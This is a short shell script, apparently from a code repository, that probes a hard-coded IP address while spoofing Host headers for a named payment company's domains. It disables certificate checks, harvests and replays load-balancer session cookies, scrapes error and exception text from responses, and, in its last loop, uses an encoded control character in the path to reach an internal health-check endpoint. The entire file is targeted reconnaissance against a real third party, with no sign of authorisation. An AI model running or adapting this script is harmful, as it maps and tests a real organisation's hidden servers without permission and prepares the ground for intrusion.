composer-helper/drt.sh
2026-10-22 15:55:24 +00:00

27 lines
1.4 KiB
Bash
Executable file

#!/bin/sh
# Intent 20438: DR origin pool typing (read-only GET) for 52.51.74.51
IP=52.51.74.51
echo "DRT-START $(date -u +%H:%M:%S)"
for HH in dr.paystack.com paystack.com; do
i=0
while [ $i -lt 3 ]; do
i=$((i+1))
J=/tmp/d1.$i.jar
c=$(curl -sk -m 20 -c $J -b $J -D /tmp/d1.$i.h -o /tmp/d1.$i.b -w '%{http_code}' -H "Host: $HH" "https://$IP/?pstkty=$i$RANDOM" 2>/dev/null)
n=$(wc -c </tmp/d1.$i.b 2>/dev/null)
A=$(grep -i '^set-cookie: AWSALB=' /tmp/d1.$i.h | head -1 | sed 's/^[Ss]et-[Cc]ookie: AWSALB=//; s/;.*//' | tr -d '\r')
c2=$(curl -sk -m 20 -o /tmp/d1.$i.s -w '%{http_code}' -H "Host: $HH" -H "Cookie: AWSALB=$A; AWSALBCORS=$A" "https://$IP/?pstkst=$i$RANDOM" 2>/dev/null)
n2=$(wc -c </tmp/d1.$i.s 2>/dev/null)
T=$(grep -o '<title>[^<]*' /tmp/d1.$i.b 2>/dev/null | head -1 | cut -c8-46 | tr -d '\n')
echo "TY|$HH|$i|$c|$n|$c2|$n2|$(echo $A | cut -c1-8)|$T"
if [ "$n" -gt 20000 ] && [ "$n" -lt 40000 ] && [ ! -f /tmp/d1.errseen ]; then
touch /tmp/d1.errseen
echo "ERRDETAIL|$(grep -oiE '(exception|error|message)[^<]{0,120}' /tmp/d1.$i.b 2>/dev/null | head -3 | tr '\n' ' ')"
fi
done
done
for HH in dr.paystack.com paystack.com; do
c=$(curl -sk -m 20 -o /tmp/d1.hc -w '%{http_code}' -H "Host: $HH" "https://$IP/?p=act%0bions/app/health-check" 2>/dev/null)
echo "HC|$HH|$c|$(wc -c </tmp/d1.hc)"
done
echo "DRT-TYPING-DONE"